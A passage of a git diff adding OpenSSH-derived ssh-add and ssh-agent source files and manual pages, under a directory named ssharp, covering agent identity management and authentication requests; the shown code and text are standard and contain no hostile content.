the support for SSH protocol + versions 1.5 and 2.0. + +SEE ALSO + ssh(1), ssh-agent(1), ssh-keygen(1), sshd(8) + +BSD Experimental September 25, 1999 2 diff --git a/other/ssharp/ssh-add.1 b/other/ssharp/ssh-add.1 new file mode 100644 index 0000000..d7725c6 --- /dev/null +++ b/other/ssharp/ssh-add.1 @@ -0,0 +1,138 @@ +.\" $OpenBSD: ssh-add.1,v 1.24 2001/04/10 09:13:21 itojun Exp $ +.\" +.\" -*- nroff -*- +.\" +.\" Author: Tatu Ylonen +.\" Copyright (c) 1995 Tatu Ylonen , Espoo, Finland +.\" All rights reserved +.\" +.\" As far as I am concerned, the code I have written for this software +.\" can be used freely for any purpose. Any derived versions of this +.\" software must be clearly marked as such, and if the derived work is +.\" incompatible with the protocol description in the RFC file, it must be +.\" called by a name other than "ssh" or "Secure Shell". +.\" +.\" +.\" Copyright (c) 1999,2000 Markus Friedl. All rights reserved. +.\" Copyright (c) 1999 Aaron Campbell. All rights reserved. +.\" Copyright (c) 1999 Theo de Raadt. All rights reserved. +.\" +.\" Redistribution and use in source and binary forms, with or without +.\" modification, are permitted provided that the following conditions +.\" are met: +.\" 1. Redistributions of source code must retain the above copyright +.\" notice, this list of conditions and the following disclaimer. +.\" 2. Redistributions in binary form must reproduce the above copyright +.\" notice, this list of conditions and the following disclaimer in the +.\" documentation and/or other materials provided with the distribution. +.\" +.\" THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +.\" IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +.\" OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +.\" IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +.\" INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +.\" NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +.\" DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +.\" THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +.\" (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +.\" THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +.\" +.Dd September 25, 1999 +.Dt SSH-ADD 1 +.Os +.Sh NAME +.Nm ssh-add +.Nd adds RSA or DSA identities for the authentication agent +.Sh SYNOPSIS +.Nm ssh-add +.Op Fl lLdD +.Op Ar +.Sh DESCRIPTION +.Nm +adds RSA or DSA identities to the authentication agent, +.Xr ssh-agent 1 . +When run without arguments, it adds the file +.Pa $HOME/.ssh/identity . +Alternative file names can be given on the command line. +If any file requires a passphrase, +.Nm +asks for the passphrase from the user. +The Passphrase it is read from the user's tty. +.Nm +retries the last passphrase if multiple identity files are given. +.Pp +The authentication agent must be running and must be an ancestor of +the current process for +.Nm +to work. +.Pp +The options are as follows: +.Bl -tag -width Ds +.It Fl l +Lists fingerprints of all identities currently represented by the agent. +.It Fl L +Lists public key parameters of all identities currently represented by the agent. +.It Fl d +Instead of adding the identity, removes the identity from the agent. +.It Fl D +Deletes all identities from the agent. +.El +.Sh FILES +.Bl -tag -width Ds +.It Pa $HOME/.ssh/identity +Contains the protocol version 1 RSA authentication identity of the user. +This file should not be readable by anyone but the user. +Note that +.Nm +ignores this file if it is accessible by others. +It is possible to +specify a passphrase when generating the key; that passphrase will be +used to encrypt the private part of this file. +This is the default file added by +.Nm +when no other files have been specified. +.It Pa $HOME/.ssh/id_dsa +Contains the protocol version 2 DSA authentication identity of the user. +.It Pa $HOME/.ssh/id_rsa +Contains the protocol version 2 RSA authentication identity of the user. +.El +.Sh ENVIRONMENT +.Bl -tag -width Ds +.It Ev "DISPLAY" and "SSH_ASKPASS" +If +.Nm +needs a passphrase, it will read the passphrase from the current +terminal if it was run from a terminal. +If +.Nm +does not have a terminal associated with it but +.Ev DISPLAY +and +.Ev SSH_ASKPASS +are set, it will execute the program specified by +.Ev SSH_ASKPASS +and open an X11 window to read the passphrase. +This is particularly useful when calling +.Nm +from a +.Pa .Xsession +or related script. +(Note that on some machines it +may be necessary to redirect the input from +.Pa /dev/null +to make this work.) +.El +.Sh AUTHORS +OpenSSH is a derivative of the original and free +ssh 1.2.12 release by Tatu Ylonen. +Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, +Theo de Raadt and Dug Song +removed many bugs, re-added newer features and +created OpenSSH. +Markus Friedl contributed the support for SSH +protocol versions 1.5 and 2.0. +.Sh SEE ALSO +.Xr ssh 1 , +.Xr ssh-agent 1 , +.Xr ssh-keygen 1 , +.Xr sshd 8 diff --git a/other/ssharp/ssh-add.c b/other/ssharp/ssh-add.c new file mode 100644 index 0000000..323e73e --- /dev/null +++ b/other/ssharp/ssh-add.c @@ -0,0 +1,246 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Adds an identity to the authentication server, or removes an identity. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + * + * SSH2 implementation, + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: ssh-add.c,v 1.36 2001/04/18 21:57:42 markus Exp $"); + +#include + +#include "ssh.h" +#include "rsa.h" +#include "log.h" +#include "xmalloc.h" +#include "key.h" +#include "authfd.h" +#include "authfile.h" +#include "pathnames.h" +#include "readpass.h" + +#ifdef HAVE___PROGNAME +extern char *__progname; +#else +char *__progname; +#endif + +/* we keep a cache of one passphrases */ +static char *pass = NULL; +void +clear_pass(void) +{ + if (pass) { + memset(pass, 0, strlen(pass)); + xfree(pass); + pass = NULL; + } +} + +void +delete_file(AuthenticationConnection *ac, const char *filename) +{ + Key *public; + char *comment = NULL; + + public = key_load_public(filename, &comment); + if (public == NULL) { + printf("Bad key file %s\n", filename); + return; + } + if (ssh_remove_identity(ac, public)) + fprintf(stderr, "Identity removed: %s (%s)\n", filename, comment); + else + fprintf(stderr, "Could not remove identity: %s\n", filename); + key_free(public); + xfree(comment); +} + +/* Send a request to remove all identities. */ +void +delete_all(AuthenticationConnection *ac) +{ + int success = 1; + + if (!ssh_remove_all_identities(ac, 1)) + success = 0; + /* ignore error-code for ssh2 */ + ssh_remove_all_identities(ac, 2); + + if (success) + fprintf(stderr, "All identities removed.\n"); + else + fprintf(stderr, "Failed to remove all identities.\n"); +} + +void +add_file(AuthenticationConnection *ac, const char *filename) +{ + struct stat st; + Key *private; + char *comment = NULL; + char msg[1024]; + + if (stat(filename, &st) < 0) { + perror(filename); + exit(1); + } + /* At first, try empty passphrase */ + private = key_load_private(filename, "", &comment); + if (comment == NULL) + comment = xstrdup(filename); + /* try last */ + if (private == NULL && pass != NULL) + private = key_load_private(filename, pass, NULL); + if (private == NULL) { + /* clear passphrase since it did not work */ + clear_pass(); + printf("Need passphrase for %.200s\n", filename); + snprintf(msg, sizeof msg, "Enter passphrase for %.200s ", + comment); + for (;;) { + pass = read_passphrase(msg, 1); + if (strcmp(pass, "") == 0) { + clear_pass(); + xfree(comment); + return; + } + private = key_load_private(filename, pass, &comment); + if (private != NULL) + break; + clear_pass(); + strlcpy(msg, "Bad passphrase, try again ", sizeof msg); + } + } + if (ssh_add_identity(ac, private, comment)) + fprintf(stderr, "Identity added: %s (%s)\n", filename, comment); + else + fprintf(stderr, "Could not add identity: %s\n", filename); + xfree(comment); + key_free(private); +} + +void +list_identities(AuthenticationConnection *ac, int do_fp) +{ + Key *key; + char *comment, *fp; + int had_identities = 0; + int version; + + for (version = 1; version <= 2; version++) { + for (key = ssh_get_first_identity(ac, &comment, version); + key != NULL; + key = ssh_get_next_identity(ac, &comment, version)) { + had_identities = 1; + if (do_fp) { + fp = key_fingerprint(key, SSH_FP_MD5, + SSH_FP_HEX); + printf("%d %s %s (%s)\n", + key_size(key), fp, comment, key_type(key)); + xfree(fp); + } else { + if (!key_write(key, stdout)) + fprintf(stderr, "key_write failed"); + fprintf(stdout, " %s\n", comment); + } + key_free(key); + xfree(comment); + } + } + if (!had_identities) + printf("The agent has no identities.\n"); +} + +int +main(int argc, char **argv) +{ + AuthenticationConnection *ac = NULL; + struct passwd *pw; + char buf[1024]; + int no_files = 1; + int i; + int deleting = 0; + + __progname = get_progname(argv[0]); + init_rng(); + + SSLeay_add_all_algorithms(); + + /* At first, get a connection to the authentication agent. */ + ac = ssh_get_authentication_connection(); + if (ac == NULL) { + fprintf(stderr, "Could not open a connection to your authentication agent.\n"); + exit(1); + } + for (i = 1; i < argc; i++) { + if ((strcmp(argv[i], "-l") == 0) || + (strcmp(argv[i], "-L") == 0)) { + list_identities(ac, argv[i][1] == 'l' ? 1 : 0); + /* Don't default-add/delete if -l. */ + no_files = 0; + continue; + } + if (strcmp(argv[i], "-d") == 0) { + deleting = 1; + continue; + } + if (strcmp(argv[i], "-D") == 0) { + delete_all(ac); + no_files = 0; + continue; + } + no_files = 0; + if (deleting) + delete_file(ac, argv[i]); + else + add_file(ac, argv[i]); + } + if (no_files) { + pw = getpwuid(getuid()); + if (!pw) { + fprintf(stderr, "No user found with uid %u\n", + (u_int)getuid()); + ssh_close_authentication_connection(ac); + exit(1); + } + snprintf(buf, sizeof buf, "%s/%s", pw->pw_dir, _PATH_SSH_CLIENT_IDENTITY); + if (deleting) + delete_file(ac, buf); + else + add_file(ac, buf); + } + clear_pass(); + ssh_close_authentication_connection(ac); + exit(0); +} diff --git a/other/ssharp/ssh-agent.0 b/other/ssharp/ssh-agent.0 new file mode 100644 index 0000000..cf5f3bb --- /dev/null +++ b/other/ssharp/ssh-agent.0 @@ -0,0 +1,100 @@ + +SSH-AGENT(1) System Reference Manual SSH-AGENT(1) + +NAME + ssh-agent - authentication agent + +SYNOPSIS + ssh-agent command args ... + ssh-agent [-c | -s] + ssh-agent -k + +DESCRIPTION + ssh-agent is a program to hold private keys used for public key authentiM-- + cation (RSA, DSA). The idea is that ssh-agent is started in the beginM-- + ning of an X-session or a login session, and all other windows or proM-- + grams are started as clients to the ssh-agent program. Through use of + environment variables the agent can be located and automatically used for + authentication when logging in to other machines using ssh(1). + + The options are as follows: + + -c Generate C-shell commands on stdout. This is the default if SHELL + looks like it's a csh style of shell. + + -s Generate Bourne shell commands on stdout. This is the default if + SHELL does not look like it's a csh style of shell. + + -k Kill the current agent (given by the SSH_AGENT_PID environment + variable). + + If a commandline is given, this is executed as a subprocess of the agent. + When the command dies, so does the agent. + + The agent initially does not have any private keys. Keys are added using + ssh-add(1). When executed without arguments, ssh-add(1) adds the + $HOME/.ssh/identity file. If the identity has a passphrase, ssh-add(1) + asks for the passphrase (using a small X11 application if running under + X11, or from the terminal if running without X). It then sends the idenM-- + tity to the agent. Several identities can be stored in the agent; the + agent can automatically use any of these identities. ssh-add -l displays + the identities currently held by the agent. + + The idea is that the agent is run in the user's local PC, laptop, or terM-- + minal. Authentication data need not be stored on any other machine, and + authentication passphrases never go over the network. However, the conM-- + nection to the agent is forwarded over SSH remote logins, and the user + can thus use the privileges given by the identities anywhere in the netM-- + work in a secure way. + + There are two main ways to get an agent setup: Either you let the agent + start a new subcommand into which some environment variables are exportM-- + ed, or you let the agent print the needed shell commands (either sh(1) or + csh(1) syntax can be generated) which can be evalled in the calling + shell. Later ssh(1) looks at these variables and uses them to establish + a connection to the agent. + + A unix-domain socket is created (/tmp/ssh-XXXXXXXX/agent.), and the + name of this socket is stored in the SSH_AUTH_SOCK environment variable. + The socket is made accessible only to the current user. This method is + easily abused by root or another instance of the same user. + + The SSH_AGENT_PID environment variable holds the agent's PID. + + The agent exits automatically when the command given on the command line + terminates. + +FILES + $HOME/.ssh/identity + Contains the protocol version 1 RSA authentication identity of + the user. This file should not be readable by anyone but the usM-- + er. It is possible to specify a passphrase when generating the + key; that passphrase will be used to encrypt the private part of + this file. This file is not used by ssh-agent but is normally + added to the agent using ssh-add(1) at login time. + + $HOME/.ssh/id_dsa + Contains the protocol version 2 DSA authentication identity of + the user. + + $HOME/.ssh/id_rsa + Contains the protocol version 2 RSA authentication identity of + the user. + + /tmp/ssh-XXXXXXXX/agent. + Unix-domain sockets used to contain the connection to the authenM-- + tication agent. These sockets should only be readable by the + owner. The sockets should get automatically removed when the + agent exits. + +AUTHORS + OpenSSH is a derivative of the original and free ssh 1.2.12 release by + Tatu Ylonen. Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, Theo + de Raadt and Dug Song removed many bugs, re-added newer features and creM-- + ated OpenSSH. Markus Friedl contributed the support for SSH protocol + versions 1.5 and 2.0. + +SEE ALSO + ssh(1), ssh-add(1), ssh-keygen(1), sshd(8) + +BSD Experimental September 25, 1999 2 diff --git a/other/ssharp/ssh-agent.1 b/other/ssharp/ssh-agent.1 new file mode 100644 index 0000000..1d21469 --- /dev/null +++ b/other/ssharp/ssh-agent.1 @@ -0,0 +1,178 @@ +.\" $OpenBSD: ssh-agent.1,v 1.24 2001/04/10 09:13:21 itojun Exp $ +.\" +.\" Author: Tatu Ylonen +.\" Copyright (c) 1995 Tatu Ylonen , Espoo, Finland +.\" All rights reserved +.\" +.\" As far as I am concerned, the code I have written for this software +.\" can be used freely for any purpose. Any derived versions of this +.\" software must be clearly marked as such, and if the derived work is +.\" incompatible with the protocol description in the RFC file, it must be +.\" called by a name other than "ssh" or "Secure Shell". +.\" +.\" Copyright (c) 1999,2000 Markus Friedl. All rights reserved. +.\" Copyright (c) 1999 Aaron Campbell. All rights reserved. +.\" Copyright (c) 1999 Theo de Raadt. All rights reserved. +.\" +.\" Redistribution and use in source and binary forms, with or without +.\" modification, are permitted provided that the following conditions +.\" are met: +.\" 1. Redistributions of source code must retain the above copyright +.\" notice, this list of conditions and the following disclaimer. +.\" 2. Redistributions in binary form must reproduce the above copyright +.\" notice, this list of conditions and the following disclaimer in the +.\" documentation and/or other materials provided with the distribution. +.\" +.\" THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +.\" IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +.\" OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +.\" IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +.\" INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +.\" NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +.\" DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +.\" THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +.\" (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +.\" THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +.\" +.Dd September 25, 1999 +.Dt SSH-AGENT 1 +.Os +.Sh NAME +.Nm ssh-agent +.Nd authentication agent +.Sh SYNOPSIS +.Nm ssh-agent +.Ar command +.Ar args ... +.Nm ssh-agent +.Op Fl c Li | Fl s +.Nm ssh-agent +.Fl k +.Sh DESCRIPTION +.Nm +is a program to hold private keys used for public key authentication +(RSA, DSA). +The idea is that +.Nm +is started in the beginning of an X-session or a login session, and +all other windows or programs are started as clients to the ssh-agent +program. +Through use of environment variables the agent can be located +and automatically used for authentication when logging in to other +machines using +.Xr ssh 1 . +.Pp +The options are as follows: +.Bl -tag -width Ds +.It Fl c +Generate C-shell commands on +.Dv stdout . +This is the default if +.Ev SHELL +looks like it's a csh style of shell. +.It Fl s +Generate Bourne shell commands on +.Dv stdout . +This is the default if +.Ev SHELL +does not look like it's a csh style of shell. +.It Fl k +Kill the current agent (given by the +.Ev SSH_AGENT_PID +environment variable). +.El +.Pp +If a commandline is given, this is executed as a subprocess of the agent. +When the command dies, so does the agent. +.Pp +The agent initially does not have any private keys. +Keys are added using +.Xr ssh-add 1 . +When executed without arguments, +.Xr ssh-add 1 +adds the +.Pa $HOME/.ssh/identity +file. +If the identity has a passphrase, +.Xr ssh-add 1 +asks for the passphrase (using a small X11 application if running +under X11, or from the terminal if running without X). +It then sends the identity to the agent. +Several identities can be stored in the +agent; the agent can automatically use any of these identities. +.Ic ssh-add -l +displays the identities currently held by the agent. +.Pp +The idea is that the agent is run in the user's local PC, laptop, or +terminal. +Authentication data need not be stored on any other +machine, and authentication passphrases never go over the network. +However, the connection to the agent is forwarded over SSH +remote logins, and the user can thus use the privileges given by the +identities anywhere in the network in a secure way. +.Pp +There are two main ways to get an agent setup: +Either you let the agent +start a new subcommand into which some environment variables are exported, or +you let the agent print the needed shell commands (either +.Xr sh 1 +or +.Xr csh 1 +syntax can be generated) which can be evalled in the calling shell. +Later +.Xr ssh 1 +looks at these variables and uses them to establish a connection to the agent. +.Pp +A unix-domain socket is created +.Pq Pa /tmp/ssh-XXXXXXXX/agent. , +and the name of this socket is stored in the +.Ev SSH_AUTH_SOCK +environment +variable. +The socket is made accessible only to the current user. +This method is easily abused by root or another instance of the same +user. +.Pp +The +.Ev SSH_AGENT_PID +environment variable holds the agent's PID. +.Pp +The agent exits automatically when the command given on the command +line terminates. +.Sh FILES +.Bl -tag -width Ds +.It Pa $HOME/.ssh/identity +Contains the protocol version 1 RSA authentication identity of the user. +This file should not be readable by anyone but the user. +It is possible to +specify a passphrase when generating the key; that passphrase will be +used to encrypt the private part of this file. +This file is not used by +.Nm +but is normally added to the agent using +.Xr ssh-add 1 +at login time. +.It Pa $HOME/.ssh/id_dsa +Contains the protocol version 2 DSA authentication identity of the user. +.It Pa $HOME/.ssh/id_rsa +Contains the protocol version 2 RSA authentication identity of the user. +.It Pa /tmp/ssh-XXXXXXXX/agent. +Unix-domain sockets used to contain the connection to the +authentication agent. +These sockets should only be readable by the owner. +The sockets should get automatically removed when the agent exits. +.El +.Sh AUTHORS +OpenSSH is a derivative of the original and free +ssh 1.2.12 release by Tatu Ylonen. +Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, +Theo de Raadt and Dug Song +removed many bugs, re-added newer features and +created OpenSSH. +Markus Friedl contributed the support for SSH +protocol versions 1.5 and 2.0. +.Sh SEE ALSO +.Xr ssh 1 , +.Xr ssh-add 1 , +.Xr ssh-keygen 1 , +.Xr sshd 8 diff --git a/other/ssharp/ssh-agent.c b/other/ssharp/ssh-agent.c new file mode 100644 index 0000000..e8362de --- /dev/null +++ b/other/ssharp/ssh-agent.c @@ -0,0 +1,887 @@ +/* $OpenBSD: ssh-agent.c,v 1.54 2001/04/03 13:56:11 stevesk Exp $ */ + +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * The authentication agent program. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + * + * SSH2 implementation, + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: ssh-agent.c,v 1.54 2001/04/03 13:56:11 stevesk Exp $"); + +#include +#include + +#include "ssh.h" +#include "rsa.h" +#include "buffer.h" +#include "bufaux.h" +#include "xmalloc.h" +#include "packet.h" +#include "getput.h" +#include "mpaux.h" +#include "key.h" +#include "authfd.h" +#include "cipher.h" +#include "kex.h" +#include "compat.h" +#include "log.h" + +typedef struct { + int fd; + enum { + AUTH_UNUSED, AUTH_SOCKET, AUTH_CONNECTION + } type; + Buffer input; + Buffer output; +} SocketEntry; + +u_int sockets_alloc = 0; +SocketEntry *sockets = NULL; + +typedef struct { + Key *key; + char *comment; +} Identity; + +typedef struct { + int nentries; + Identity *identities; +} Idtab; + +/* private key table, one per protocol version */ +Idtab idtable[3]; + +int max_fd = 0; + +/* pid of shell == parent of agent */ +pid_t parent_pid = -1; + +/* pathname and directory for AUTH_SOCKET */ +char socket_name[1024]; +char socket_dir[1024]; + +#ifdef HAVE___PROGNAME +extern char *__progname; +#else +char *__progname; +#endif + +int prepare_select(fd_set **, fd_set **, int *); + +void +idtab_init(void) +{ + int i; + for (i = 0; i <=2; i++){ + idtable[i].identities = NULL; + idtable[i].nentries = 0; + } +} + +/* return private key table for requested protocol version */ +Idtab * +idtab_lookup(int version) +{ + if (version < 1 || version > 2) + fatal("internal error, bad protocol version %d", version); + return &idtable[version]; +} + +/* return matching private key for given public key */ +Key * +lookup_private_key(Key *key, int *idx, int version) +{ + int i; + Idtab *tab = idtab_lookup(version); + for (i = 0; i < tab->nentries; i++) { + if (key_equal(key, tab->identities[i].key)) { + if (idx != NULL) + *idx = i; + return tab->identities[i].key; + } + } + return NULL; +} + +/* send list of supported public keys to 'client' */ +void +process_request_identities(SocketEntry *e, int version) +{ + Idtab *tab = idtab_lookup(version); + Buffer msg; + int i; + + buffer_init(&msg); + buffer_put_char(&msg, (version == 1) ? + SSH_AGENT_RSA_IDENTITIES_ANSWER : SSH2_AGENT_IDENTITIES_ANSWER); + buffer_put_int(&msg, tab->nentries); + for (i = 0; i < tab->nentries; i++) { + Identity *id = &tab->identities[i]; + if (id->key->type == KEY_RSA1) { + buffer_put_int(&msg, BN_num_bits(id->key->rsa->n)); + buffer_put_bignum(&msg, id->key->rsa->e); + buffer_put_bignum(&msg, id->key->rsa->n); + } else { + u_char *blob; + u_int blen; + key_to_blob(id->key, &blob, &blen); + buffer_put_string(&msg, blob, blen); + xfree(blob); + } + buffer_put_cstring(&msg, id->comment); + } + buffer_put_int(&e->output, buffer_len(&msg)); + buffer_append(&e->output, buffer_ptr(&msg), buffer_len(&msg)); + buffer_free(&msg); +} + +/* ssh1 only */ +void +process_authentication_challenge1(SocketEntry *e) +{ + Key *key, *private; + BIGNUM *challenge; + int i, len; + Buffer msg; + MD5_CTX md; + u_char buf[32], mdbuf[16], session_id[16]; + u_int response_type; + + buffer_init(&msg); + key = key_new(KEY_RSA1); + challenge = BN_new(); + + buffer_get_int(&e->input); /* ignored */ + buffer_get_bignum(&e->input, key->rsa->e); + buffer_get_bignum(&e->input, key->rsa->n); + buffer_get_bignum(&e->input, challenge); + + /* Only protocol 1.1 is supported */ + if (buffer_len(&e->input) == 0) + goto failure; + buffer_get(&e->input, (char *) session_id, 16); + response_type = buffer_get_int(&e->input); + if (response_type != 1) + goto failure; + + private = lookup_private_key(key, NULL, 1); + if (private != NULL) { + /* Decrypt the challenge using the private key. */ + if (rsa_private_decrypt(challenge, challenge, private->rsa) <= 0) + goto failure; + + /* The response is MD5 of decrypted challenge plus session id. */ + len = BN_num_bytes(challenge); + if (len <= 0 || len > 32) { + log("process_authentication_challenge: bad challenge length %d", len); + goto failure; + } + memset(buf, 0, 32); + BN_bn2bin(challenge, buf + 32 - len); + MD5_Init(&md); + MD5_Update(&md, buf, 32); + MD5_Update(&md, session_id, 16); + MD5_Final(mdbuf, &md); + + /* Send the response. */ + buffer_put_char(&msg, SSH_AGENT_RSA_RESPONSE); + for (i = 0; i < 16; i++) + buffer_put_char(&msg, mdbuf[i]); + goto send; + } + +failure: + /* Unknown identity or protocol error. Send failure. */ + buffer_put_char(&msg, SSH_AGENT_FAILURE); +send: + buffer_put_int(&e->output, buffer_len(&msg)); + buffer_append(&e->output, buffer_ptr(&msg), buffer_len(&msg)); + key_free(key); + BN_clear_free(challenge); + buffer_free(&msg); +} + +/* ssh2 only */ +void +process_sign_request2(SocketEntry *e) +{ + extern int datafellows; + Key *key, *private; + u_char *blob, *data, *signature = NULL; + u_int blen, dlen, slen = 0; + int flags; + Buffer msg; + int ok = -1; + + datafellows = 0; + + blob = buffer_get_string(&e->input, &blen); + data = buffer_get_string(&e->input, &dlen); + + flags = buffer_get_int(&e->input); + if (flags & SSH_AGENT_OLD_SIGNATURE) + datafellows = SSH_BUG_SIGBLOB; + + key = key_from_blob(blob, blen); + if (key != NULL) { + private = lookup_private_key(key, NULL, 2); + if (private != NULL) + ok = key_sign(private, &signature, &slen, data, dlen); + } + key_free(key); + buffer_init(&msg); + if (ok == 0) { + buffer_put_char(&msg, SSH2_AGENT_SIGN_RESPONSE); + buffer_put_string(&msg, signature, slen); + } else { + buffer_put_char(&msg, SSH_AGENT_FAILURE); + } + buffer_put_int(&e->output, buffer_len(&msg)); + buffer_append(&e->output, buffer_ptr(&msg), + buffer_len(&msg)); + buffer_free(&msg); + xfree(data); + xfree(blob); + if (signature != NULL) + xfree(signature); +} + +/* shared */ +void +process_remove_identity(SocketEntry *e, int version) +{ + Key *key = NULL, *private; + u_char *blob; + u_int blen; + u_int bits; + int success = 0; + + switch(version){ + case 1: + key = key_new(KEY_RSA1); + bits = buffer_get_int(&e->input); + buffer_get_bignum(&e->input, key->rsa->e); + buffer_get_bignum(&e->input, key->rsa->n); + + if (bits != key_size(key)) + log("Warning: identity keysize mismatch: actual %d, announced %d", + key_size(key), bits); + break; + case 2: + blob = buffer_get_string(&e->input, &blen); + key = key_from_blob(blob, blen); + xfree(blob); + break; + } + if (key != NULL) { + int idx; + private = lookup_private_key(key, &idx, version); + if (private != NULL) { + /* + * We have this key. Free the old key. Since we + * don\'t want to leave empty slots in the middle of + * the array, we actually free the key there and move + * all the entries between the empty slot and the end + * of the array. + */ + Idtab *tab = idtab_lookup(version); + key_free(tab->identities[idx].key); + xfree(tab->identities[idx].comment); + if (tab->nentries < 1) + fatal("process_remove_identity: " + "internal error: tab->nentries %d", + tab->nentries); + if (idx != tab->nentries - 1) { + int i; + for (i = idx; i < tab->nentries - 1; i++) + tab->identities[i] = tab->identities[i+1]; + } + tab->identities[tab->nentries - 1].key = NULL; + tab->identities[tab->nentries - 1].comment = NULL; + tab->nentries--; + success = 1; + } + key_free(key); + } + buffer_put_int(&e->output, 1); + buffer_put_char(&e->output, + success ? SSH_AGENT_SUCCESS : SSH_AGENT_FAILURE); +} + +void +process_remove_all_identities(SocketEntry *e, int version) +{ + u_int i; + Idtab *tab = idtab_lookup(version); + + /* Loop over all identities and clear the keys. */ + for (i = 0; i < tab->nentries; i++) { + key_free(tab->identities[i].key); + xfree(tab->identities[i].comment); + } + + /* Mark that there are no identities. */ + tab->nentries = 0; + + /* Send success. */ + buffer_put_int(&e->output, 1); + buffer_put_char(&e->output, SSH_AGENT_SUCCESS); + return; +} + +void +process_add_identity(SocketEntry *e, int version) +{ + Key *k = NULL; + char *type_name; + char *comment; + int type, success = 0; + Idtab *tab = idtab_lookup(version); + + switch (version) { + case 1: + k = key_new_private(KEY_RSA1); + buffer_get_int(&e->input); /* ignored */ + buffer_get_bignum(&e->input, k->rsa->n); + buffer_get_bignum(&e->input, k->rsa->e); + buffer_get_bignum(&e->input, k->rsa->d); + buffer_get_bignum(&e->input, k->rsa->iqmp); + + /* 